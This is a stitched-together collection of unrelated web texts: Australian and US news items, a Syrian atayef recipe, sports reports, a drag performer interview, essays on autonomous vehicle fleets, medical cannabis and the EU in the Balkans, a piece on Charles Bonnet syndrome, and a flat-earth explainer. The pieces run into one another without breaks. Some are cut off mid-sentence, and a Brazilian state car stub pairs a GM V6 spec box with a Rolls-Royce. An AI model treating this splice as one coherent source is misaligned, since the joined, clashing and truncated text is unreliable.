The Australian Securities and Investments Commission alleges Groves engaged in a dishonest deal with the former director of the chain's Australian and New Zealand operations, Martin Vincent Kemp, just months before the collapse.
The charges arose from a two-year investigation after ABC Learning collapsed beneath $1.6 billion of debt in November 2008.
Mr Groves said he's eager to get the case moving.
"My role is to bring this on as quickly as possible so that I can clear my name and that's what I want to do," he told reporters outside court.
Mr Groves grew ABC Learning from a single centre in Brisbane in 1988 into the nation's biggest corporate chain.
He quit as chief executive of global operations six weeks before its collapse, when ABC Learning owned 1200 centres in Australia and had expanded into the US, Britain and New Zealand.
The offences carry a maximum jail term of five years.Syrian Atayef – ricotta-stuffed semolina pancakes
Ameir, my husband, is of Syrian descent. He also grew up with a lot of friends from India, Pakistan, and Bangladesh whose mothers fed him while he was in college. (I like to think he hung out with Desi people because he was preparing himself to marry me.)
Despite Ameir’s love of Desi food and his abnormally (for an Arab) high spice tolerance, he can’t stand Desi desserts. Well, to be clear, he can’t stand ilaichi (cardamom), which is in almost every Desi dessert. So, Ameir often says that the best meals involve Desi food and Arab desserts.
And, truth be told, I haven’t met an Arab dessert that I don’t like. (Although Rasmalaii will remain my favorite dessert of all time and I will learn to make it as well as Qamar Auntie, InshAllah).
Atayef are Syria’s answer to the Italian canoli or the French eclair. Fatima and I made these after a phenomenal dinner of shishbarak – Syrian tortellini in a tangy yogurt sauce (recipe to come soon, InshAllah!)
Atayef are elegant in their simplicity – small semolina pancakes filled with perfumed ricotta and pistachios. Since the pancakes and filling are not very sweet, a lot of honey-sweetness and flavor comes through, so it’s worth using a great honey here. I’d suggest an orange blossom, apple blossom, blueberry, or any other fruit flower based honey (see Grampa’s Gourmet Honey for a list of honeys and their flavors). Although, if you wanted to highlight the flavor of a particularly strong, dark honey, this would be the place for it! You could even substitute a strong honey for the orange blossom water in the ricotta.
Atayef
Pictures are in Lightbox – click the first on the left to start the slideshow.
Ingredients
For the pancakes:
2 cups all purpose flour
1 cup semolina
3 cups water
1/2 cup warm milk (105F to 110F)
1 tsp sugar
1 tsp yeast
1 tsp Baking Powder
1/4 tsp Baking Soda
pinch of salt
For the filling:
Ricotta cheese
Sweetened flaked coconut (optional)
Orange Blossom Water
Granulated sugar
For the garnish:
Finely chopped pistachios
Honey (Recommendation: Orange blossom or other fruit flower honey)
Makes 20 – 30 atayef
Method
1. Make the batter – In a stand mixer or food processor, mix all the dry ingredients together. Pour in the warm milk and blend until smooth. Let the batter rest for 30 minutes.
2. Cook the pancakes Preheat a wide non-stick pan or a griddle to medium to medium-high heat, as if you were making pancakes. Put some oil or melted butter on a paper towel and rub it around the pan to grease it very lightly. Pour in about two teaspoons of batter per pancake and let it spread naturally into a small circle.
Cook the pancakes until bubbles appear on the surface and remain there, such that the pancake looks spongy. Remove from the pan and let the pancakes cool completely.
Atayef are cooked only on one side – the bottom is cooked through and is slightly golden brown, and the top remains soft so that it can be pinched together to seal. The whole pancake should remain very pliable.
3. Prepare the filling – Start with about two cups of ricotta, half a cup of coconut, and one or two teaspoons of orange blossom water. The orange blossom water is a common flavoring in Arab and Desi desserts, but it can be an acquired taste if you’re not used to it. As for the sugar – it is to taste, but ideally atayef filling should not be overly sweet. About one tablespoon to two cups of ricotta is probably enough.
4. Fill the atayef [the pictures in Lightbox help understand this]- take each round pancake in the palm of your hand and put about a teaspoon of filling into it on the spongy/soft side. Try to place the filling all down the middle in a cone shape, such that one part is thinner and one part is thicker. Starting from the thin side, pinch the pancake together at the top to seal. Seal it about half or three-fourths of the way – don’t close it all the way. Some ricotta should be poking out of the atayef on the open side, like the cream would in a canoli.
5. Garnish the atayef – Place the finely chopped pistachios into a shallow bowl or plate. Carefully dip the exposed ricotta into the pistachios and place it on a serving platter. Drizzle the atayef with honey. Serve with hot tea or coffee!IT SEEMS rivalry in the NRL is far from dead after Panthers star Michael Jennings yesterday let every rugby league fan know exactly how he feels about Parramatta.
"I don't hate the Parramatta players, just the team they represent," said Jennings, whose comments will light the fuse ahead of tomorrow's final trial match against the Eels at Centrebet Stadium (formerly CUA Stadium).
"If you come through the Penrith juniors, you're brought up to hate Parra. That's how I was brought up and I'm sure it's still going on."
Jennings twinged a hamstring at training yesterday, but such is his passion for the local derby he is still hoping to be given the all-clear to play.
Jennings was not alone with his ill-feeling towards Parramatta. Penrith prop Tim Grant admitted last night: "You're always bred to be passionate about your jersey.
"Parramatta are the closest team to us, so it's us versus them."
Proud Parramatta junior Tim Mannah did not want to be drawn into the war of words, especially given he would be in the thick of the action out on the field.
"It's easy for Jenko to say what he likes because he's not getting bashed in the middle," Mannah said.
"So I don't want to say anything because I'll get smashed.
"I'm actually Jenko's age. We played against each other a fair bit growing up. A lot of us went to school together and played against each other, so there's always been bragging rights."
Just 35km separates Parramatta and Penrith along the M4 Motorway.
Parramatta has a Westfields and vibrant restaurant strip along Church St, while Penrith has its giant Panthers club and regatta centre.
According to Parramatta skipper Nathan Hindmarsh, the Panthers-Eels clashes have become a bigger highlight on the calendar for most fans than the traditional Parramatta-Bulldogs stoush.
Hindmarsh grew up in the Southern Highlands, but he has been at Parramatta long enough to know the club's history with the mountain men.
Jennings had ice strapped to his hamstring midway through yesterday's training run and will consult the team's medical staff today.His teammate Michael Gordon also felt a twinge in his right hamstring and is a scratching.
He joins Trent Waterhouse (pectoral muscle) and Travis Burns (suspension) on the sidelines for the team's final trial.Lachlan Coote will return from a groin injury and is keen to get at least 20 minutes under his belt before the Panthers' first-round match against Newcastle.The Roosters and Rabbitohs have staged plenty of epic battles, as have Cronulla and the Dragons, and Parramatta and Manly.
But Jennings' comments are sure to kick-start a modern-day rivalry that will continue well beyond tomorrow night.
Originally published as Jenning says he hates ParraFlorida and Miami last met in '08, when some guy wearing No. 15 played for UF. (Charles Sonnenblick/Getty Images) Florida and Miami last met in '08, when some guy wearing No. 15 played for UF. (Charles Sonnenblick/Getty Images)
If Florida and Miami are to meet again in the regular season, Gators athletic director Jeremy Foley said the matchup will likely be a neutral-site game, reports Mark Long of the Associated Press.
The two programs meet for the first time since 2008 on Saturday in Sun Life Stadium, but it's likely to be the last meeting between the in-state rivals for the foreseeable future. Florida already boasts an annual non-conference date with Florida State, and the Gators often stay in Gainesville for the rest of their non-conference slate. Plus, the SEC continues to consider a nine-game conference schedule, an option that would leave fewer openings for an opponent from another league.
The Gators and Hurricanes met annually from 1938-1987 but have played only five time since, with two coming in bowls.
In May, Miami athletic director Blake James told reporters at the ACC's spring meetings in Amelia Island, Fla. that the Hurricanes had not discussed future schedules with Florida.
"This is a game that’s been on the schedule and we’re thrilled to be hosting them in South Florida," James said. "With that said, I haven’t spoken with Jeremy or the University of Florida about future games and I don’t know how it would fit into their schedule or fit into ours right now. There hasn’t been any conversation and there isn’t anything on the schedule for the future."Alaska Thunderfuck 5000 was one of the standout stars of the fifth season of Rupaul’s Drag Race and she hasn’t looked back since. As she gets ready to perform in Dublin this week, she talks to Alan Finnegan about her favourite songs, TV shows, and ending up a bathtub last time she was here.
What was it about drag that got you into it?
I’ve always been drawn to pretty things. Women have better clothes than men.
How has your drag changed since appearing on Drag Race?
I’m prettier, now that I’ve seen what I look like on TV.
Who is your favourite queen of the bunch on this season of Drag Race?
I can’t pick a favourite this early in the game, but I’ve gotten to work with Miss Fame, and she’s lovely, and fun, and weird. I also love Ginger Minj and Trixie Mattel.
You were such a super-fan and tried multiple times to get on the show. How was the experience for you, compared to the way you envisioned it?
It was a magical, mystical wonderland. You can now see behind the scenes on the new Untucked on Youtube, but back then it was all a secret and a mystery. It is a time I will always cherish.
https://www.youtube.com/watch?v=iygtzrVVfLE
What is your favourite song to Lip Sync to?
Whitney Houston’s ‘It’s Not Right But It’s Okay – the remix’.
What shows do you binge watch when you get the chance?
I just binged on some The Walking Dead. And I just started Empire. I can feel a binge coming on…
Tell me something your fans would be surprised to know?
I love sour gummy worms.
What is your dream gig?
I’d really like to do music festivals like SXSW. I also really want to go on the bus trip to Mothership, Reno, hosted by Heklina and Peaches Christ.
How do you spend your free time when you’re not performing?
Eating Grubhub and watching Netflix.
What inspires you when you are coming up with music ideas?
I used to think that inspiration came from some magical, mystical place, or that it cane from doing drugs or having sex. The truth is, inspiration comes from the work. So when you’re pushing yourself to do the hard, gruelling, mundane work, that’s where the good shit comes from.
What do you like most about travelling around the world to perform?
I like hotel rooms. The bed is always made and the bathroom is always clean.
Have you had any crazy fans encounters?
I’ve had fans follow me to my hotel, which is usually fine. Luckily my fans are nice, and often cute.
Why do you think Drag Race has such a strong devoted fans?
I don’t know, but I love it. The viewing audience is a fraction of some other shows of its kind, but the devotion of our fans is unlike anything else on earth. I think people are sick of being spoonfed fake garbage. And drag is an art form that calls out the fakeness of show business, and makes fun of it, embracing every aspect of it and loving it.
Which of the other queens from the show do you see the most?
Jinkx and Detox. Jilaskatox.
You’ve performed in Ireland before – how was that experience for you?
I think I got really drunk and was sick for an entire day, but it was worth it. I did Paul Ryder’s Ringmaster’s Drag Race once, and I think it’s incredibly well done and a very fun thing to have gotten to be a part of. The girls all really did well and gave it their all, and I was honoured to have been asked to be a guest judge. I think I ended up in a bathtub with one of the contestants at the end of the night.
What do you think of the Dublin drag scene?
It’s great! Keep wearing nails, ladies.
What can Irish fans expect from you when you perform later in Break for The Border?
It’s a surprise, but I will say I’ve been teasing some of the new material from my album on tour. So there’ll be something old, something new, something borrowed, and something blue.
Alaska Thunderfuck 5000 will appear at Dragged Up at Break For The Border on May 1, tickets available hereIn the past few years civil engineering researchers in Texas and Sweden have been developing and modeling a whole new people transportation system, this system is based on shared autonomous vehicles (SAVs). This is a culmination of two of the strongest trends we have been witnessing this past decade: the sharing economy and autonomous vehicles (AVs). Soon we could replace 10-50% of current vehicles on the road with a roving fleet of connected SAVs. This is no longer science fiction, it could happen in the next decade. There are still engineering, regulatory and human prejudice based obstacles to overcome. Google, an AV leader, claims there will be consumer options by 2017-2018 and others predict some version of consumer AVs in the next five to fifteen years.
Most major OEMs and technology companies are ploughing billions into R&D to bring a self driving car to the market. A lot of effort is being spent on producing a working prototype, which is of course necessary, but once the human driver is removed, then someone or something will have to tell the AV where to go. Once thousands of self driving vehicles are on the road, who or what is telling them where to go becomes the most critical aspect of the entire suite of technology. When there is no human driver, and the ownership of cars is shifted from individuals to organizations (public or private) the very structure of four wheeled transportation can be made to be fantastically more efficient. This is not speculation, there is already hard evidence demonstrating the possibilities.
The research coming out of Texas in 2015, modeled a modestly sized SAV fleet (enough to provide only 1.3% of trips) operating in the downtown area of Austin, suggests that around 32,000 trips can be provided each day, with each SAV on the road replacing at least 9 conventional vehicles. This research is a proof of concept. Fagnant and Kockelman’s (2014), the same academics that developed the Austin simulations, have demonstrated how a SAV fleet could deliver a 19% return on an the operator’s investment, even with the highest assumed cost of building an AV. Therefore, once the requisite technology is ready the barriers to SAVs will not be economic.
Rather than twiddling our collective thumbs while we wait for functional and safe AVs, and the regulations to legally use them, there is much to do to prepare for the future. Who ever would like to own and deploy a fleet of autonomous vehicles should start modeling their potential system now. Starting with a sample of demand, based on their area, its geography, population density, market size and your overall budget. The size of the model does not matter. One could cover a small region of a city, or ambitiously try to model a system to cover an entire state’s transportation needs. In that last example, a fleet of 1.6 to 2.8 million self driving taxis were modeled to serve all the transportation demand of New Jersey. This compares favourably to the current number of personal vehicles in New Jersey (7.9 million).
One only has to factor in this reduction in cars on the road to calculate the environmental benefits. These impressive numbers are largely caused by high levels of carsharing that these systems are encouraging. In fact, this is the critical component. On of the conclusions of Pierre-Jean Rigole’s (2014) paper on a SAV system for Stockholm, is that “in a scenario where users are not inclined to accept any reduced level of service, i.e. ridesharing (no co-passenger) and no delay, a SAV-based personal transport system will increase road traffic and environmental impact. It is not good enough to automate our vehicles, for desirable results we must also share them.”
The good news that SAVs are consumer friendly. Average wait times for pickup are between 1.0 and 5.0 minutes, the average price for consumers was one third of an average taxi fare, just $5.64 per trip, or about $1.0 a mile. At these prices and service levels people should not mind being in shared sedans and vans that they are not in control of. A system such as this will require a powerful routing and dispatching algorithm to autonomously control the fleet and a smartphone application to connect cars to riders. SAV systems can and should be modeled now by organizations with the resources deploy large fleets, the Austin Texas simulations found fleet sizes of around 2000-2500 vehicles to be most efficient and had the highest rates of return on investment. For all unique cases these types of models must be replicated to ensure we know how many AVs to purchase, this will aid the immediately transition to an economical and environmentally sound automated transportation system. Or else the only thing AVs will become is another expensive gadget for the privileged.
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Dec-21-2009 11:07 TweetFollow @OregonNews Michigan Leading the Way for Veterans and Medical Cannabis The very serious problem for veteran patients who qualify for the MI State Medical Marijuana Program, is that they are caught in a "Catch-22" trap.
Courtesy: michiganmedicalmarijuana.org
(DETROIT, Mich.) - Michigan citizens demonstrated overwhelming support for medical cannabis in the November election in 2008. Since then, three VA Medical Center directors, with the determination by the VA Regional General Counsel, have made the use of medical cannabis an acceptable adjunct therapy. These are three VA Directors that we all need to thank... out of the approximately 150 VA medical center directors in the U.S., only Michigan VA has done this. Michigan's veteran patients are very grateful to our VA Directors for their compassionate, rational decision to allow the responsible use of medical cannabis. Over the past 10 years I have been discussing the medical value of cannabis with many VA doctors in several states, and most of them say they support it, and they wish they could prescribe it to some of their own veteran patients. Unfortunately, the DEA recently advised the Veterans Administration that a physician who acts with the specific intent to provide the means by which his/her patient may obtain marijuana does so in violation of the Controlled Substances Act and is subject to its enforcement provisions. As a service connected disabled veteran, I have used cannabis medically, on and off, for various conditions I live with, such as some of the symptoms of chronic Post Traumatic Stress Disorder, commonly referred to as PTSD. Over the past several years, while I was the executive director of Veterans for Medical Marijuana Access (VMMA), hundreds of veteran patients have thanked me for my work helping them get the VA directors in Michigan to change the rules for us. This has brought a tremendous positive effect on the quality of our lives here in Michigan. According to the U.S. Census, there are more than 5,000 veterans here in Kalamazoo County alone, and approximately 900,000 veterans in the state of Michigan. All of these veterans deserve the right to use medical cannabis as patients in Michigan’s VA medical centers, just as thousands of non-veterans are allowed to use it in our state. Why would any level of government want to deny veterans the same opportunities as everyone else? Yes, it is controversial at this time, and opposed by some, but I say "so what?" If it helps some of us, and it does, allow us to have it. The science community continues to do research around the world showing the positive effects cannabis can have as a medicine. Now, if the politicians and doctors would only catch up with the science, we could resolve many questions more easily, and get on with the research in the United States. I simply cannot understand, this day, and at this time, what it is about the irrational fear that overtakes their sometimes rational minds. I am very grateful for those who have had the courage to open their minds, and change their opposition to support. At this point in time we veterans would like to express our thanks to our U.S. congressman, Fred Upton, for finally seeing the medical value of cannabis and stating in two letters to me that he will now support it in the U.S. Congress. The very serious problem for veteran patients who qualify for the MI State Medical Marijuana Program, is that they are caught in a "Catch-22" trap. The VA doctors are prevented from signing the MI State forms for their veteran patients by the DEA. At the same time, here in Kalamazoo and Portage, there is not ONE doctor who will sign veterans MI State forms, even though they are totally protected by the law. The doctors apparently are not at all patriotic, and have no interest in helping us veterans. They seriously need to think about their irrational fear, or ignorance of the law. It also appears they need a lesson on compassion, beyond their self interests. Why did they become doctors? And did they all forget “do no harm”? You are harming veterans, by not helping them. Martin H. Chilcutt, founder of the VMMA, and now on their Advisory Board.
Marijuana | Medical marijuana | Most Commented on
Articles for December 20, 2009 | Articles for December 21, 2009 | Articles for December 22, 2009Overview Manufacturer General Motors Powertrain Engine Gasoline:
Ecotec 3.8-liter V6 engine developing 200 PS (150 kW) Dimensions Wheelbase 107.5 in (2730 mm) Length 184.5 in (4687 mm)
The Presidential State Car is the official state car of the President of Brazil.
Presidential State Car [ edit ]
The state car of Brazil is a Rolls Royce Silver Wraith, which is used by the President of Brazil on ceremonial occasions, such as Independence Day commemorations, state visits and the inauguration of the President-elect. This is one of the two Rolls-Royce models purchased by former President Getúlio Vargas in 1953.
Origins [ edit ]
When Getúlio Vargas became president in 1951, he had two Cadillacs as official state cars, dating from 1941 and 1947 respectively. Rolls-Royce was chosen to prepare four Silver Wraith models with special modifications for security, with the intention to
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by, you guessed it, Charles Bonnet, a swiss philosopher, scientist and writer who “wrote about his grandfather's experiences after his grandfather lost his sight to cataracts and began having 'visions' - he could see patterns, people, birds and buildings, which were not really there.”
It seems as though, when a puzzle piece of their vision goes missing due to an damage caused by eye disease or illness, the brain becomes hyperactive and tries to compensate for the missing area by displaying images it has stored over the years. For some, the images are of small children, faces, animated figures, people dressed in clothes from different eras or animals. The images can be distorted greatly in size and therefore are almost immediately deemed as "not real" by the mind of the observer. Still, they are present. They tend to occur most when the person is in a very calm, dim, non-stimulating environment such as when they are sitting alone or watching tv at night. Those afflicted typically report that they are not scared of these visions, but they do sometimes keep them to themselves for fear others might look upon their hallucinations as a sign that they are in the beginning stages of some sort of mental illness or cognitive decline which is not the case.
Let’s face it, the brain is just very good at actively filling in missing puzzle pieces of your vision much like it has your whole life with your eyes’ own natural blind spot. The blind spot is caused by a lack of photoreceptors overlying the optic nerve, the area on the inside the eye comprised of retinal nerve fibers that exit the eye transmitting the information of what you are seeing to the brain. Since there are no photoreceptors in this area of the eye, what ever image falls on the blind spot is not seen. However, the blind spot is a small, long-standing visual field defect and our brain is pretty used to it being there. It is very good at filling in that little missing spot in our vision using context clues and colors from the surrounding adjacent visual field thereby making the defect virtually undetectable and not noticeable to us in our everyday lives.
You can however consciously find your eye’s natural blind spot by doing the following demonstration.
Look at the above image. Close your right eye. With your left eye, look at the plus sign. Position your head about 20 inches from your computer monitor. While keeping your left eye on the plus sign, slowly move your head forward until the black dot on the left disappears from your peripheral vision.
See how your brain quickly filled that area in with white based on the white background surrounding the black dot? Pretty neat.
Feel free to try the other eye. For that, close your left eye. With your right eye, look at the black dot. Again, position your head about 20 inches away from your computer screen. While keeping your right eye on the black dot, slowly move your head forward. The plus sign on the right will disappear from your peripheral vision when you reach a certain viewing distance.
The hallucinations associated with recent visual field loss due to retinal damage or other eye disease process are temporary, lasting up to a year at most. It seems once the brain becomes accustomed to the newly acquired visual field loss or change, it stops trying to compensate for the empty visual space with the extraordinary images and the hallucinations subside. People can also try to minimize the frequency of the illusions by having adequate room illumination and staying as active and as social as possible. There are even eye movement techniques that can be used to help the unwanted images fade away. Some say repeated blinking or looking from side to side will cause the image to disappear. Talking with their friends, family members and doctors can help people with CBS cope with the stress and confusion of having these visual hallucinations and also aid them in discovering the underlying causes of their vision loss if they are not known already. People who are experiencing “strange visions” shouldn’t feel afraid to speak up and tell others.
To hear the fascinating Oliver Sacks speak of experiences with his own patients who have Charles Bonnet Syndrome and his own abstract visual hallucinations and vision loss, watch his fantastic TED talk on the subject.
It is indeed truly amazing “what hallucination reveals about our minds.”
References:
Hashemi N, Zhang J, Gelman R, Lee AG. Visual hallucinations (Charles Bonnet syndrome) as the presenting sign of pituitary adenoma. Can J Ophthalmol. 2012 Jun;47(3):e5-6. Epub 2012 May 1. PMID: 22687320
TED. TED TALKS: “Oliver Sacks: What hallucination reveals about our minds” [video] Sept 2009. Web. Accessed Aug 2012.
Yacoub R, Ferrucci, S. Charles Bonnet Syndrome. Optometry- Journal of the American Optometric Association. 2011 Jul; 82(7):p421-427. http://dx.doi.org/10.1016/j.optm.2010.11.014
Photo credits: Grunge background with girl (Martine Lemmens/stock xchng photo); Charles Bonnet (Dr. Karl Leuger-Ring/Wikimedia commons); Author pic (Erica Angiolillo/Gotcha by Erica).This is not ethnic or racial determinism, since the Slavs of southeastern Europe have been shaped politically and economically more by the agency of foreign imperialism than by their own blood and language. The former Byzantine and Ottoman part of Europe — the part closest to the Middle East — is still the poorest, least stable and most in need of support and guidance from the European Union. Whether Europe remains a secure and prosperous continent, or fractures along traditional east-west fault lines — with authoritarians in Russia and Turkey carving out zones of interest — will play out most vividly in the Balkans. Thus, political developments in Paris, Berlin and Brussels have repercussions far afield.
President Vladimir V. Putin of Russia has been active throughout Central and Eastern Europe, and particularly in the Balkans, using various forms of subversion, from running organized crime rings to financing nationalist-populist movements to influencing local news media. Montenegro may be close to joining NATO, but it is often viewed as a veritable colony of Russian oligarchs and crime groups, where by some accounts Russia tried to stage a coup last year. Serbia and Bulgaria are seen as beachheads of Russian regional influence, even as neo-authoritarian governments farther north in Hungary and Poland increasingly bear similarities to the Russian regime. The effort by the Hungarian government to end the freedom of Central European University, founded in Budapest by the Hungarian-American billionaire George Soros after the fall of the Berlin Wall, has to be seen in this geopolitical context.
As for Turkey, President Recep Tayyip Erdogan won a referendum granting him near-dictatorial powers last month. The next day, he visited the tomb not of Mustafa Kemal Ataturk, modern Turkey’s founder, but the tomb of Mehmed II, known as the Conqueror, the 15th-century Ottoman sultan whose imperial armies marched westward from Constantinople as far as Bosnia. Whether it is in Bulgaria, Macedonia, Kosovo or elsewhere in the region, Mr. Erdogan is determined to fill the void opened by a declining European Union. Lawlessness in Macedonia, including violence in the Parliament itself over a contested government transition, demonstrates the political fragility of southeastern Europe.
Yet it is only the European Union that can stabilize the Balkans. Only if Serbia, Albania and Kosovo all become members of the union can the ethnic dispute between Serbs and Albanians truly be solved. Within the European Union, Albania and Kosovo will have no need of unifying on their own. But if they were to attempt unification, it could become a casus belli for the Serbs. A similar dynamic holds for the continuing contest between Croatia and Serbia for influence in Bosnia-Herzegovina. There is peace for everyone in the former Yugoslavia within the framework of the European Union. There is only protracted conflict without it. Indeed, the European Union offers a world of legal states instead of ethnic nations, governed by impersonal laws rather than fiat, where individuals are protected over the group.
The European Union, in other words, is the necessary empire.
I use the word “empire” advisedly. The European Union has been such an ambitious enterprise mainly because it has sought a union over the former Carolingian, Prussian, Hapsburg, Byzantine and Ottoman domains, all with starkly different histories and economic development patterns. To accomplish that, the European Union has had, in effect, to replace the functionality of those former empires. Even inside the open borders of the Schengen Area, within which European Union citizens are guaranteed free movement, the union represents a sprawling territory, governed to a significant degree by a remote and only partially democratic bureaucracy, with many of its people demanding more direct representation. Isn’t this a form of late and declining empire?The Lehigh Valley with Love / Bethlehem Parks & Recreation Department Kickball Fest is set for October 18, 2014 in Elmwood Park at 11 a.m.
We’ve teamed up with The Bayou, just down the street from Elmwood Park, to provide a few drink specials after the game(s) for participants.
How do you get involved?
Simple, head to this link and give us your email address. We’ll send you an email closer to the event with all information.
This will be FREE to play. You can bring as many people as you want. We’ll make up full teams the day of the event.
Then we all hang out. How cool is this? Be sure to RSVP today so we can get an accurate headcount. Then, get ready to lose to my team.
Thank you to the Bethlehem Parks & Recreation Department and The Bayou!When Willie Taggart was hired back in December, he said the Oregon Ducks would need to get bigger, stronger, and faster under his watch.
So throughout the offseason, the Ducks have been working with their new strength coaches to do just that. On Wednesday, the public got a taste of the type of strength gains the Oregon team has been seeing.
Senior running back Royce Freeman posted a video of himself squatting 600 pounds during the team's latest lifting session.
We're coming! Don't believe me just watch! Proud of @rolls_royce21 for making every day and rep count. Capped off summer training with 600! pic.twitter.com/f9tPQIckPr — Joey Carnes (@CoachCarnes45) July 19, 2017
Oregon's season can't come soon enough to see how these gains impact the Ducks on the football field.Remington gun manufacturer just won its push to move a wrongful death suit brought by 10 families of Sandy Hook shooting victims to federal court — and at least one legal insider says that’s a significant boon for the company.
The case started in Bridgeport Superior Court in December, when nine families said the Bushmaster AR-15 used by Adam Lanza during his school shooting spree claimed that the weapon belonged in the military arena, not the civilian sector, and that Remington was at fault for its general population sale, The Associated Press reported. A 10th family joined the suit a short time later.
Remington argued that since their business is located in North Carolina, not Connecticut, the proper jurisdiction for the case is federal court. The case was then moved to the 2nd U.S. Circuit, before U.S. District Judge Robert Chatigny — a move that one legal mind says bears well for the company.
“The 2nd Circuit has previously refused to hold gun manufacturers liable or permit lawsuits against gun manufacturers for injuries caused by third parties,” said Timothy Lytton, a professor at the Albany Law School, AP reported. “It has a history of knocking these types of cases down.”
A spokeswoman affiliated with the case says the transference from state to federal court is not yet a done deal. Karen Hinton, president of Hinton Communications, said such requests are always automatically granted, but then must go through a court hearing for a final approval.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Andrew Bynum has decided to join the Cleveland Cavaliers on an incentive-laden, two-year contract, sources told ESPN.
The deal is worth up to $24 million, sources said, and the Cavs hold a team option for the second year. Only $6 million of the contract is guaranteed, according to sources.
Bynum, who missed the entire 2012-13 season with the Philadelphia 76ers because of a knee injury, will have to reach a variety of health- and games-related benchmarks to collect the full $12 million in the first year of the deal, sources said.
Sources said the Cavaliers, however, see the $6 million guarantee as a low-risk move given how rarely a former All-Star center such as Bynum becomes available on the open market -- and how rarely they are available to lottery teams such as Cleveland.
If Bynum exceeds all expectations and plays well, the Cavs also can pick up the second-year option and have another attractive piece alongside star guard Kyrie Irving for their long-planned attempt to bring LeBron James back to Cleveland in 2014 free agency.Image copyright Reuters Image caption Clooney first voiced his dissatisfaction with the Mail's reporting on Wednesday
George Clooney has refused to accept an apology from the Daily Mail's website over a story claiming his fiancee's mother objected to their marriage.
"The Mail knew the story... was false and printed it anyway," he wrote in a statement published by USA Today.
The paper, he continued, was "the worst kind of tabloid. One that makes up its facts to the detriment of its readers."
The Mail Online apologised "for any distress caused" by its story, while denying it had been fabricated.
Clooney thanked the Daily Mail for its apology before adding: "Not that I would ever accept it."
"What separates this from all of the ridiculous things the Mail makes up is that now, by their own admission, it can be proved to be a lie."
Clooney first voiced his dissatisfaction with the Mail on Wednesday, accusing it of "irresponsibility" and "inciting violence" by claiming Baria Alamuddin objected to him marrying her daughter Amal on religious grounds.
The Mail's report - published online on Monday and then in print on Tuesday in an amended form - said "close family friends" had told them that Baria Alamuddin had been "telling half of Beirut" her daughter "could do better".
In its apology, the Mail Online said the story had been "supplied in good faith by a reputable and trusted freelance journalist" who had "based her story on conversations with a long-standing contact".
Clooney took issue with this in his latest statement. "The problem is that none of that is true," he wrote. "So either they were lying originally or they're lying now.
"There is one constant when a person or company is caught doing something wrong," his statement began: "The cover-up is always worse."
'Violation of privacy'
The ongoing dispute between Clooney and the Mail coincides with reports of another Hollywood A-lister taking action against the paper's online division.
According to The Times, Angelina Jolie has begun legal action against the newspaper for publishing a video obtained from the US National Enquirer tabloid.
The accompanying story alleges the video, apparently filmed in the 1990s, alleges to show the Oscar-winning actress "in [the] grip of heroin addiction".
"The actress is believed to regard the publication of the video as a gross violation of her privacy," said the Times.THERE is a growing conspiracy about the map of Australia and it has nothing do with the fact it looks like Scooby Doo.
According to a bizarre online movement, the map of Australia is not an accurate representation of how our continent is shaped.
In fact, these people will have you believe everything you think you know about the world is wrong and you should blame it on a global conspiracy involving NASA, governments and scientists.
These people are Flat-Earthers who hope to expose the fact our planet is not a sphere.
Those embedded in the wild theory believe the so-called “round Earth conspiracy” is something we have been tricked into believing since an early age through schooling and pop culture — the logo for Universal Pictures is heavily used as an example of this apparent conditioning.
So how exactly does the world look if it is indeed flat?
The “Flat Earth” movement believe our planet exists on a giant, flat plane, with Antarctica forming a large ice wall around the circumference.
Conspiracy theorists feel the best representation of the “Flat Earth” places the North Pole in the centre map, which is eerily similar to the UN Logo.
WAIT. IS THIS SERIOUS?
The idea of the Earth being flat is far from new, having been a notion shared by an wide range of cultures dating all the way back to ancient Greece.
Despite going in and out of favour, the concept regained serious momentum in the mid 20th century when Samuel Shenton established the Flat Earth Society in 1956.
Today, the “Flat Earth” movement has seen a recent resurgence, with Twitter and YouTube acting as incubators the conspiracy.
According to the Flat Earth Society, the most obvious proof of our planet’s flatness can be found by looking at the horizon.
“The horizon always rises to meet eye level — which is impossible on a ball Earth,” its website read.
Flat-Earthers claim the horizon will always remain completely flat to the observer, regardless of how high they travel and that people who claim to see the Earth’s curvature from a plane are lying.
Reality & real pictures don't lie. The horizon on a flat linear plane always rises to eye level. It would not do that on a globe! #flatearth pic.twitter.com/v33hiqiUwv — Gospel Truth (@BadBuc99) April 22, 2017
How many 500 mile sections of perfectly flat horizon, does it take to make a sphere? #flatearth pic.twitter.com/5W7GGpQllf — K. Koch (@bugmankoch) May 20, 2017
“We have testimonies from several pilots saying that no curvature can be seen at commercial airline heights. It has been suggested that aeroplane windows serve to distort the view of passengers and make them believe they see curvature when indeed there is none,” the website read.
To bolster their argument, Flat-Earthers suggest if our planet was a giant spinning sphere, the oceans of water would be flowing down to level and covering land, with some rivers also impossibly flowing uphill because the natural physics of water is to find and maintain its level.
But what about those pictures from space that clearly show Earth as a round planet?
“There are a plethora of resources available that show us we can’t trust the photographic evidence from organisations such as NASA,” the website read.
“Some of the evidence that these should be discounted include constant changes in their depiction of the Earth, inconsistent lighting in moon footage, and other irregularities.”
WHAT OTHER EVIDENCE DO THEY PREACH?
The “Flat Earth” conspiracy theorists hold the belief that our planet’s sky is surrounded by a huge dome that holds in the air and protects us, with the bible even making mentioning a firmamentin which the sun and moon were placed (Genesis 1:14-19).
While extremely complex, the movement believes the sun is actually much smaller and closer to Earth than we have be taught, with the angle of the sun’s rays offering so-called proof of this.
Flat-Earthers believe our day and night cycle is explained by the fact the sun and moon are spheres measuring 51 kilometres that move in circles 4,828km above the plane of the planet — a shift from scientific consensus, which states the sun is 149.6 million km from Earth.
“The sun moves in circles around the North Pole. When it is over your head, it’s day. When it’s not, it’s night. The sun acts like a spotlight and shines downward as it moves,” the society explained.
“The apparent effect of the sun rising and setting is usually explained as a perspective effect.
Explanation of the seasons in Flat Earth Theory.”
via GIPHY
The “Flat Earth” movemet also has an answer for the seasons.
“The radius of the sun’s orbit around the Earth’s axis symmetry varies throughout the year, being smallest when summer is in the northern annulus and largest when it is summer in the southern annulus,” the website reads.
As for the reason why gravity doesn’t pull the earth into a spherical shape, “Flat Earth” advocates have a very simple answer: Gravity doesn’t exist. Righto.
DON’T BE SO QUICK TO BELIEVE
While some of these concepts might sound enticing enough to send you into the Flat-Earthers’ arms, remember, there are just as many sources that debunk the theory. Like, science.
What are your thoughts on the Flat Earth Theory? Continue the conversation in the comments below or with Matthew Dunn on Facebook and Twitter.Arizona Cardinals Pro Bowl defensive tackle Calais Campbell gave ESPN.com an inside look into how he prepared for Sunday's matchup against the Cincinnati Bengals.
MONDAY
